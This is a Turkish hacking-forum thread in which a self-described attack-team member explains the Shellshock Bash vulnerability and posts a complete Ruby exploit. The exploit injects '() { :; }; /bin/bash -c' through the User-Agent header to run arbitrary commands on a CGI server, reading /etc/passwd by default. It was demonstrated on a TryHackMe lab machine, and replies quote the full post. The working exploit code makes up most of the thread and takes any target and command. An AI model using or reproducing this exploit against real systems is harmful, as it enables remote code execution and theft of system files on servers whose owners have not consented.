Exploit Eğitimi #8 (Shellshock (Bash Bug))

7 Kas 2021
65
87
24
Berlin


oqk18ir.png


lbn20fm.png
2q250vr.png



Merhaba ben saldırı timlerinden Bunjo, bu konuda "Shellshock" açığından bahsedeğiç ve bununla alakalı bir exploit yazacağız.

Diğer Exploit Konularım:

Exploit Eğitimi #7 (WordPress)

Exploit Eğitimi #6 (FTP Fuzzer)
Exploit Eğitimi #5 (SMTP Enumeration)
Exploit Eğitimi #4 (Her Türden)
Exploit Eğitimi #3 (Gerçek Uygulama)(Apache DOS)
Exploit Eğitimi #2 (FTP DOS)
Exploit Eğitimi #1 (ANON-FTP)


Bash Bug Nedir?


Shellshock, özellikle Bash (Bourne Again SHell) adlı Unix tabanlı işletim sistemlerinde bulunan bir güvenlik açığıdır. Bu güvenlik açığı, 2014 yılında keşfedilmiştir ve oldukça ciddi sonuçlara neden olabilen bir açıktır. Shellshock açığı, özellikle web sunucuları gibi Bash tabanlı uygulamaları kullanan sistemlerde potansiyel olarak kötü niyetli saldırılara neden olabilir.

Shellshock açığı, Bash kabuk betiklerindeki bir hata nedeniyle ortaya çıkar. Bu hatanın temelinde, Bash kabuğunun çevresindeki çevresel değişkenleri düzgün bir şekilde işleme yeteneği eksikliği bulunmaktadır. Bu durum, saldırganların çeşitli hileli komutları bu çevresel değişkenlere yerleştirerek sistemde istenmeyen kodları yürütebilmelerine olanak tanır.

Shellshock açığı, saldırganlara sistemde yetkilere sahip olma veya başka zararlı eylemleri gerçekleştirme fırsatı tanıyabilir. Bu, genellikle CGI (Common Gateway Interface) betiklerini kullanan web sunucularında daha belirgin bir tehdit oluşturur. Saldırganlar, Shellshock açığı üzerinden hedef sistemlere kötü niyetli kod enjekte edebilir ve bu şekilde sistemi ele geçirebilir.

Bu tür güvenlik açıkları genellikle yazılım geliştiricileri ve sistem yöneticileri tarafından hızla düzeltilir ve yamalarla kapatılır. Shellshock açığına karşı alınan düzeltmeler, etkilenen sistemlerde Bash sürümlerini güncelleyerek ve ilgili yamaları uygulayarak gerçekleştirilir. Bu nedenle, sistem yöneticileri ve güvenlik uzmanları, sistemlerini düzenli olarak güncelleyerek ve güvenlik açıkları konusunda bilgi sahibi olarak bu tür tehditlere karşı koruma sağlamalıdır.


Ben exploiti TryHackMe içinde "0day" makinesi üzerinde uygulayacağım.


Exploit:


kütüphanelerimizi aktarıyoruz.

Ruby:
#!/usr/bin/ruby

require 'net/http'
require 'uri'
require 'openssl'

kullanıcıdan argümanları alıyoruz.
Ruby:
if ARGV.size >= 1
  target = ARGV[0] # Hedef İçin İlk Argüman
  command = ARGV[1] || "cat /etc/passwd" # Çalıştırılacak Komut
 
  target_uri = URI.parse(target)
  path = target_uri.path.empty? ? '/' : target_uri.path # Eğer Sonda / Yoksa / Ekliyoruz.

  headers = {
        "User-Agent"      => "() { :; }; echo; echo; /bin/bash -c '#{command}';", # Komut Çalıştırılan Kısım
        "Accept-Language" => "en-US,en;q=0.5",
[CENTER]        "Accept-Encoding" => "gzip, deflate",[/CENTER]
        "Accept"          => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Connection"      => "keep-alive"
  }

Burada "headers" adlı bir hash veri tipi oluşturuyoruz ve içine girdiğimiz veriler de bir http istediğinde kullanılan başlıklar. Eğer sistemde Shellshock açığı varsa buraya kötü amaçlı kodumuzu yazıp hedefte çalıştırabiliyoruz.

Son isteği yolluyoruz ve çıktı kontrolü yapıyoruz
:

Ruby:
http = Net::HTTP.new(target_uri.host, target_uri.port) # HTTP İsteğimizi Tanımladık
  http.use_ssl = (target_uri.scheme == 'https')
  http.verify_mode = OpenSSL::SSL::VERIFY_NONE if http.use_ssl?
 
  request = Net::HTTP::Get.new(path, headers)
  response = http.request(request)

  puts "[*] Sending Shellshock Exploit.. "
  puts "[+] Server response:"
  puts response.body
else
  $stdout.puts "Usage: ruby #{__FILE__} <Target> <Command>"
  exit 0
end

Tüm Exploit:
Ruby:
#!/usr/bin/ruby

require 'net/http'
require 'uri'
require 'openssl'

if ARGV.size >= 1
  target = ARGV[0] # Hedef İçin İlk Argüman
  command = ARGV[1] || "cat /etc/passwd" # Çalıştırılacak Komut
 
  target_uri = URI.parse(target)
  path = target_uri.path.empty? ? '/' : target_uri.path

  headers = {
        "User-Agent"      => "() { :; }; echo; echo; /bin/bash -c '#{command}';", # Komut Çalıştırılan Kısım
        "Accept-Language" => "en-US,en;q=0.5",
        "Accept-Encoding" => "gzip, deflate",
        "Accept"          => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Connection"      => "keep-alive"
  }
 
  http = Net::HTTP.new(target_uri.host, target_uri.port) # HTTP İsteğimizi Tanımladık
  http.use_ssl = (target_uri.scheme == 'https')
  http.verify_mode = OpenSSL::SSL::VERIFY_NONE if http.use_ssl?
 
  request = Net::HTTP::Get.new(path, headers)
  response = http.request(request)

  puts "[*] Sending Shellshock Exploit.. "
  puts "[+] Server response:"
  puts response.body
else
  $stdout.puts "Usage: ruby #{__FILE__} <Target> <Command>"
  exit 0
end

Kullanım:



Hedefte bulduğum CGI sayfasında exploitimi çalıştırıyorum.



Default olarak "cat /etc/passwd" komutu çalıştırılıyor.







İsterseniz başka komutlarda çalıştırabilirsiniz.







Okuyan herkese teşekkür ederim.
eline emeğine sağlık
 

Ertugrul'

Basın&Medya Ekibi Deneyimli
22 Mar 2023
1,151
899
Photoshop 🔥


oqk18ir.png


lbn20fm.png
2q250vr.png



Merhaba ben saldırı timlerinden Bunjo, bu konuda "Shellshock" açığından bahsedeğiç ve bununla alakalı bir exploit yazacağız.

Diğer Exploit Konularım:

Exploit Eğitimi #7 (WordPress)

Exploit Eğitimi #6 (FTP Fuzzer)
Exploit Eğitimi #5 (SMTP Enumeration)
Exploit Eğitimi #4 (Her Türden)
Exploit Eğitimi #3 (Gerçek Uygulama)(Apache DOS)
Exploit Eğitimi #2 (FTP DOS)
Exploit Eğitimi #1 (ANON-FTP)


Bash Bug Nedir?


Shellshock, özellikle Bash (Bourne Again SHell) adlı Unix tabanlı işletim sistemlerinde bulunan bir güvenlik açığıdır. Bu güvenlik açığı, 2014 yılında keşfedilmiştir ve oldukça ciddi sonuçlara neden olabilen bir açıktır. Shellshock açığı, özellikle web sunucuları gibi Bash tabanlı uygulamaları kullanan sistemlerde potansiyel olarak kötü niyetli saldırılara neden olabilir.

Shellshock açığı, Bash kabuk betiklerindeki bir hata nedeniyle ortaya çıkar. Bu hatanın temelinde, Bash kabuğunun çevresindeki çevresel değişkenleri düzgün bir şekilde işleme yeteneği eksikliği bulunmaktadır. Bu durum, saldırganların çeşitli hileli komutları bu çevresel değişkenlere yerleştirerek sistemde istenmeyen kodları yürütebilmelerine olanak tanır.

Shellshock açığı, saldırganlara sistemde yetkilere sahip olma veya başka zararlı eylemleri gerçekleştirme fırsatı tanıyabilir. Bu, genellikle CGI (Common Gateway Interface) betiklerini kullanan web sunucularında daha belirgin bir tehdit oluşturur. Saldırganlar, Shellshock açığı üzerinden hedef sistemlere kötü niyetli kod enjekte edebilir ve bu şekilde sistemi ele geçirebilir.

Bu tür güvenlik açıkları genellikle yazılım geliştiricileri ve sistem yöneticileri tarafından hızla düzeltilir ve yamalarla kapatılır. Shellshock açığına karşı alınan düzeltmeler, etkilenen sistemlerde Bash sürümlerini güncelleyerek ve ilgili yamaları uygulayarak gerçekleştirilir. Bu nedenle, sistem yöneticileri ve güvenlik uzmanları, sistemlerini düzenli olarak güncelleyerek ve güvenlik açıkları konusunda bilgi sahibi olarak bu tür tehditlere karşı koruma sağlamalıdır.


Ben exploiti TryHackMe içinde "0day" makinesi üzerinde uygulayacağım.


Exploit:


kütüphanelerimizi aktarıyoruz.

Ruby:
#!/usr/bin/ruby

require 'net/http'
require 'uri'
require 'openssl'

kullanıcıdan argümanları alıyoruz.
Ruby:
if ARGV.size >= 1
  target = ARGV[0] # Hedef İçin İlk Argüman
  command = ARGV[1] || "cat /etc/passwd" # Çalıştırılacak Komut
 
  target_uri = URI.parse(target)
  path = target_uri.path.empty? ? '/' : target_uri.path # Eğer Sonda / Yoksa / Ekliyoruz.

  headers = {
        "User-Agent"      => "() { :; }; echo; echo; /bin/bash -c '#{command}';", # Komut Çalıştırılan Kısım
        "Accept-Language" => "en-US,en;q=0.5",
[CENTER]        "Accept-Encoding" => "gzip, deflate",[/CENTER]
        "Accept"          => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Connection"      => "keep-alive"
  }

Burada "headers" adlı bir hash veri tipi oluşturuyoruz ve içine girdiğimiz veriler de bir http istediğinde kullanılan başlıklar. Eğer sistemde Shellshock açığı varsa buraya kötü amaçlı kodumuzu yazıp hedefte çalıştırabiliyoruz.

Son isteği yolluyoruz ve çıktı kontrolü yapıyoruz
:

Ruby:
http = Net::HTTP.new(target_uri.host, target_uri.port) # HTTP İsteğimizi Tanımladık
  http.use_ssl = (target_uri.scheme == 'https')
  http.verify_mode = OpenSSL::SSL::VERIFY_NONE if http.use_ssl?
 
  request = Net::HTTP::Get.new(path, headers)
  response = http.request(request)

  puts "[*] Sending Shellshock Exploit.. "
  puts "[+] Server response:"
  puts response.body
else
  $stdout.puts "Usage: ruby #{__FILE__} <Target> <Command>"
  exit 0
end

Tüm Exploit:
Ruby:
#!/usr/bin/ruby

require 'net/http'
require 'uri'
require 'openssl'

if ARGV.size >= 1
  target = ARGV[0] # Hedef İçin İlk Argüman
  command = ARGV[1] || "cat /etc/passwd" # Çalıştırılacak Komut
 
  target_uri = URI.parse(target)
  path = target_uri.path.empty? ? '/' : target_uri.path

  headers = {
        "User-Agent"      => "() { :; }; echo; echo; /bin/bash -c '#{command}';", # Komut Çalıştırılan Kısım
        "Accept-Language" => "en-US,en;q=0.5",
        "Accept-Encoding" => "gzip, deflate",
        "Accept"          => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Connection"      => "keep-alive"
  }
 
  http = Net::HTTP.new(target_uri.host, target_uri.port) # HTTP İsteğimizi Tanımladık
  http.use_ssl = (target_uri.scheme == 'https')
  http.verify_mode = OpenSSL::SSL::VERIFY_NONE if http.use_ssl?
 
  request = Net::HTTP::Get.new(path, headers)
  response = http.request(request)

  puts "[*] Sending Shellshock Exploit.. "
  puts "[+] Server response:"
  puts response.body
else
  $stdout.puts "Usage: ruby #{__FILE__} <Target> <Command>"
  exit 0
end

Kullanım:



Hedefte bulduğum CGI sayfasında exploitimi çalıştırıyorum.



Default olarak "cat /etc/passwd" komutu çalıştırılıyor.







İsterseniz başka komutlarda çalıştırabilirsiniz.







Okuyan herkese teşekkür ederim.
Ellerine sağlık bunjomm.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.